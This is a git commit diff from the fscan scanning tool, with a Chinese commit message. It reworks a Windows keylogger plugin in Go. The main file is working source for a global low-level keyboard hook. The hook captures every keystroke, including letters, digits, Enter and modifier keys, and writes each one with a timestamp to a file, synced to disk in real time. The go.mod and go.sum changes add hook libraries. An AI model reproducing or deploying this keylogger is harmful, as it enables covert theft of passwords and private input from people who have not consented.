perf: 优化Windows键盘记录性能和实时输出

- 重构键盘Hook架构,采用事件驱动模式降低系统影响
- 实现真正的实时文件写入,支持按键立即同步到磁盘
- 优化Hook回调处理时间,立即调用CallNextHookEx确保系统响应
- 使用非阻塞事件通道避免键盘Hook阻塞系统
- 简化键码转换逻辑,提升按键处理性能
- 解决文件输出延迟问题,支持键盘记录过程中实时查看
- 分离平台实现,Windows平台使用高效实时写入模式
This commit is contained in:
ZacharyZcR 2025-08-11 09:36:49 +08:00
parent c9d07ebd9b
commit 42522df80c
4 changed files with 193 additions and 175 deletions

View File

@ -5,6 +5,7 @@ package keylogger
import (
"context"
"fmt"
"os"
"syscall"
"time"
"unsafe"
@ -12,6 +13,7 @@ import (
"github.com/shadow1ng/fscan/common"
)
// Windows API 声明
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
@ -19,23 +21,14 @@ var (
procCallNextHookEx = user32.NewProc("CallNextHookEx")
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
procGetMessage = user32.NewProc("GetMessageW")
procPeekMessage = user32.NewProc("PeekMessageW")
procTranslateMessage = user32.NewProc("TranslateMessage")
procDispatchMessage = user32.NewProc("DispatchMessageW")
procGetModuleHandle = kernel32.NewProc("GetModuleHandleW")
procGetLastError = kernel32.NewProc("GetLastError")
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
procGetKeyState = user32.NewProc("GetKeyState")
procToUnicode = user32.NewProc("ToUnicode")
procGetKeyboardLayout = user32.NewProc("GetKeyboardLayout")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
)
const (
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
WM_KEYUP = 0x0101
WM_SYSKEYDOWN = 0x0104
WM_SYSKEYUP = 0x0105
)
type (
@ -44,7 +37,6 @@ type (
LPARAM uintptr
LRESULT uintptr
HANDLE uintptr
HINSTANCE HANDLE
HHOOK HANDLE
HWND HANDLE
)
@ -70,122 +62,109 @@ type KBDLLHOOKSTRUCT struct {
DwExtraInfo uintptr
}
// 全局变量 - 简化版本
var (
windowsHook HHOOK
keylogger *KeyloggerPlugin
logFile *os.File
eventChannel chan KeyboardEvent
stopHookChan chan bool
)
// checkWindowsRequirements 检查Windows特定要求
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
// 检查是否为管理员权限
// Windows键盘Hook通常需要管理员权限
common.LogInfo("检查Windows键盘记录权限...")
return nil
// KeyboardEvent 键盘事件结构模仿gohook的设计
type KeyboardEvent struct {
Kind EventKind
Rawcode uint16
Keychar string
Timestamp time.Time
}
// startWindowsKeylogging 启动Windows键盘记录
type EventKind int
const (
KeyDown EventKind = iota
KeyUp
)
// startWindowsKeylogging 启动Windows键盘记录 - 高效版本
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
common.LogInfo("启动Windows键盘记录...")
common.LogInfo("启动Windows键盘记录 (高效版本)...")
keylogger = p
// 安装低级键盘Hook
hook, err := p.installKeyboardHook()
if err != nil {
return fmt.Errorf("安装键盘Hook失败: %v", err)
}
// 创建事件通道模仿gohook的设计
eventChannel = make(chan KeyboardEvent, 100)
stopHookChan = make(chan bool, 1)
windowsHook = hook
// 打开日志文件进行实时写入
var err error
logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
}
defer func() {
common.LogInfo("Windows键盘记录清理Hook...")
p.uninstallKeyboardHook(hook)
keylogger = nil
if logFile != nil {
logFile.Close()
logFile = nil
}
}()
// 消息循环
return p.messageLoop(ctx)
// 写入文件头部
p.writeLogHeader()
// 启动Hook监听在独立goroutine中
go p.startKeyboardHook()
// 启动事件处理模仿你的for ev := range evChan的模式
return p.processEvents(ctx)
}
// installKeyboardHook 安装键盘Hook
func (p *KeyloggerPlugin) installKeyboardHook() (HHOOK, error) {
hookProc := syscall.NewCallback(lowLevelKeyboardProc)
// 获取当前模块句柄
// startKeyboardHook 启动键盘Hook监听
func (p *KeyloggerPlugin) startKeyboardHook() {
// 安装Hook
hookProc := syscall.NewCallback(keyboardHookProc)
moduleHandle, _, _ := procGetModuleHandle.Call(0)
hook, _, _ := procSetWindowsHookEx.Call(
uintptr(WH_KEYBOARD_LL),
hookProc,
moduleHandle, // 使用当前模块句柄
0, // dwThreadId - 0表示全局Hook
moduleHandle,
0,
)
if hook == 0 {
lastError, _, _ := procGetLastError.Call()
return 0, fmt.Errorf("SetWindowsHookEx失败错误代码: %d", lastError)
common.LogError("安装键盘Hook失败")
return
}
common.LogInfo("Windows键盘Hook安装成功")
return HHOOK(hook), nil
}
// uninstallKeyboardHook 卸载键盘Hook
func (p *KeyloggerPlugin) uninstallKeyboardHook(hook HHOOK) {
if hook != 0 {
procUnhookWindowsHookEx.Call(uintptr(hook))
}
}
// messageLoop 消息循环
func (p *KeyloggerPlugin) messageLoop(ctx context.Context) error {
ticker := time.NewTicker(50 * time.Millisecond)
defer ticker.Stop()
windowsHook = HHOOK(hook)
common.LogInfo("键盘Hook安装成功")
// 消息循环
msg := &MSG{}
for {
select {
case <-ctx.Done():
common.LogInfo("收到停止信号,退出键盘记录")
return nil
case <-p.stopChan:
common.LogInfo("键盘记录已停止")
return nil
case <-ticker.C:
// 使用PeekMessage非阻塞检查消息
msg := &MSG{}
ret, _, _ := procPeekMessage.Call(
case <-stopHookChan:
// 清理Hook
procUnhookWindowsHookEx.Call(uintptr(windowsHook))
common.LogInfo("键盘Hook已清理")
return
default:
// 非阻塞消息处理
ret, _, _ := procGetMessage.Call(
uintptr(unsafe.Pointer(msg)),
0,
0,
0,
1, // PM_REMOVE - 移除消息
0, 0, 0,
)
if ret != 0 {
// 有消息,处理它
procTranslateMessage.Call(uintptr(unsafe.Pointer(msg)))
procDispatchMessage.Call(uintptr(unsafe.Pointer(msg)))
if ret == 0 || ret == 0xFFFFFFFF {
break
}
// 继续循环
}
}
}
// lowLevelKeyboardProc 低级键盘Hook处理程序
func lowLevelKeyboardProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
if nCode >= 0 && keylogger != nil {
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
// 获取按键字符
keyChar := getKeyChar(kbdStruct.VkCode)
if keyChar != "" {
common.LogDebug(fmt.Sprintf("捕获按键: %s (VK: %d)", keyChar, kbdStruct.VkCode))
keylogger.addKeyToBuffer(keyChar)
}
}
}
// 调用下一个Hook
// keyboardHookProc Hook回调函数 - 最高效版本
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
// 立即调用下一个Hook确保系统响应
ret, _, _ := procCallNextHookEx.Call(
uintptr(windowsHook),
uintptr(nCode),
@ -193,102 +172,130 @@ func lowLevelKeyboardProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
uintptr(lParam),
)
// 快速处理我们的逻辑
if nCode >= 0 && eventChannel != nil {
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
// 非阻塞发送事件
select {
case eventChannel <- KeyboardEvent{
Kind: KeyDown,
Rawcode: uint16(kbdStruct.VkCode),
Keychar: quickKeyChar(kbdStruct.VkCode),
Timestamp: time.Now(),
}:
default:
// 通道满了就跳过,不阻塞系统
}
}
}
return LRESULT(ret)
}
// getKeyChar 获取按键字符
func getKeyChar(vkCode DWORD) string {
var keyName string
// processEvents 处理键盘事件 - 完全模仿你的设计
func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
common.LogInfo("开始处理键盘事件...")
// 特殊按键处理
switch vkCode {
case 0x08:
keyName = "[Backspace]"
case 0x09:
keyName = "[Tab]"
case 0x0D:
keyName = "[Enter]"
case 0x10:
keyName = "[Shift]"
case 0x11:
keyName = "[Ctrl]"
case 0x12:
keyName = "[Alt]"
case 0x1B:
keyName = "[Esc]"
case 0x20:
keyName = " " // 空格
case 0x25:
keyName = "[Left]"
case 0x26:
keyName = "[Up]"
case 0x27:
keyName = "[Right]"
case 0x28:
keyName = "[Down]"
case 0x2E:
keyName = "[Delete]"
default:
// 普通字符按键
if vkCode >= 0x30 && vkCode <= 0x39 { // 数字0-9
keyName = string(rune(vkCode))
} else if vkCode >= 0x41 && vkCode <= 0x5A { // 字母A-Z
keyName = string(rune(vkCode + 32)) // 转换为小写
} else if vkCode >= 0x60 && vkCode <= 0x69 { // 数字键盘0-9
keyName = string(rune(vkCode - 0x30))
} else {
// 尝试使用ToUnicode获取字符
keyName = toUnicodeString(vkCode)
if keyName == "" {
keyName = fmt.Sprintf("[VK_%d]", vkCode)
// 超时定时器
timeout := time.NewTimer(p.duration)
defer timeout.Stop()
// 完全模仿你的for ev := range evChan模式
for {
select {
case <-ctx.Done():
common.LogInfo("收到上下文取消信号,退出键盘记录")
stopHookChan <- true
return nil
case <-timeout.C:
common.LogInfo("键盘记录时间到达,退出记录")
stopHookChan <- true
return nil
case ev := <-eventChannel:
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown
if ev.Kind == KeyDown && ev.Keychar != "" {
// 写入文件 - 完全模仿你的实时写入模式
fmt.Fprintf(logFile, "[%s] %s\n",
ev.Timestamp.Format("15:04:05.000"), ev.Keychar)
logFile.Sync() // 模仿你的f.Sync()
// 添加到内存缓冲区用于统计
p.bufferMutex.Lock()
p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s",
ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar))
p.bufferMutex.Unlock()
common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode))
}
}
}
}
return keyName
// writeLogHeader 写入日志文件头部
func (p *KeyloggerPlugin) writeLogHeader() {
if logFile == nil {
return
}
// toUnicodeString 使用ToUnicode API获取按键字符
func toUnicodeString(vkCode DWORD) string {
var keyboardState [256]byte
var unicodeBuffer [16]uint16
// 获取键盘布局
_, _, _ = procGetKeyboardLayout.Call(0)
// 调用ToUnicode
ret, _, _ := procToUnicode.Call(
uintptr(vkCode),
0, // scanCode
uintptr(unsafe.Pointer(&keyboardState[0])),
uintptr(unsafe.Pointer(&unicodeBuffer[0])),
16,
0,
)
if ret > 0 {
return syscall.UTF16ToString(unicodeBuffer[:ret])
// 模仿你的日志格式
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
fmt.Fprintf(logFile, "记录时长: %v\n", p.duration)
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
fmt.Fprintf(logFile, "================================\n\n")
logFile.Sync()
}
// quickKeyChar 快速键码转字符(高度优化版本)
func quickKeyChar(vkCode DWORD) string {
switch {
case vkCode >= 0x30 && vkCode <= 0x39: // 数字0-9
return string(rune(vkCode))
case vkCode >= 0x41 && vkCode <= 0x5A: // 字母A-Z
return string(rune(vkCode + 32)) // 转小写
case vkCode == 0x20:
return " "
case vkCode == 0x0D:
return "[Enter]"
case vkCode == 0x08:
return "[Backspace]"
case vkCode == 0x09:
return "[Tab]"
case vkCode == 0x10:
return "[Shift]"
case vkCode == 0x11:
return "[Ctrl]"
case vkCode == 0x12:
return "[Alt]"
case vkCode == 0x1B:
return "[Esc]"
default:
return "" // 跳过其他按键,保持高性能
}
}
// checkWindowsRequirements 检查Windows特定要求
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
common.LogInfo("检查Windows键盘记录权限...")
return nil
}
// 其他平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("Linux平台请使用专门的实现")
}
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("Darwin平台请使用专门的实现")
}
// checkLinuxRequirements 检查Linux特定要求Windows平台的空实现
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台")
}
// checkDarwinRequirements 检查Darwin特定要求Windows平台的空实现
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台")
}
// startLinuxKeylogging 启动Linux键盘记录Windows平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startDarwinKeylogging 启动Darwin键盘记录Windows平台的空实现
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}

View File

@ -144,10 +144,14 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
return fmt.Errorf("键盘记录失败: %v", err)
}
// 保存记录的键盘输入到文件
// Windows平台已经实时写入文件其他平台保存到文件
if runtime.GOOS != "windows" {
if err := p.saveKeysToFile(); err != nil {
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
}
} else {
common.LogInfo("Windows平台已实时写入文件无需再次保存")
}
common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer)))
return nil

2
go.mod
View File

@ -17,6 +17,7 @@ require (
github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed
github.com/neo4j/neo4j-go-driver/v4 v4.4.7
github.com/rabbitmq/amqp091-go v1.10.0
github.com/robotn/gohook v0.42.2
github.com/satori/go.uuid v1.2.0
github.com/schollz/progressbar/v3 v3.13.1
github.com/sijms/go-ora/v2 v2.5.29
@ -71,6 +72,7 @@ require (
github.com/rivo/uniseg v0.4.7 // indirect
github.com/rogpeppe/go-internal v1.13.1 // indirect
github.com/stoewer/go-strcase v1.2.0 // indirect
github.com/vcaesar/keycode v0.10.1 // indirect
golang.org/x/term v0.27.0 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect
)

5
go.sum
View File

@ -293,6 +293,8 @@ github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqn
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY=
github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
@ -344,6 +346,9 @@ github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsT
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0=
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg=
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=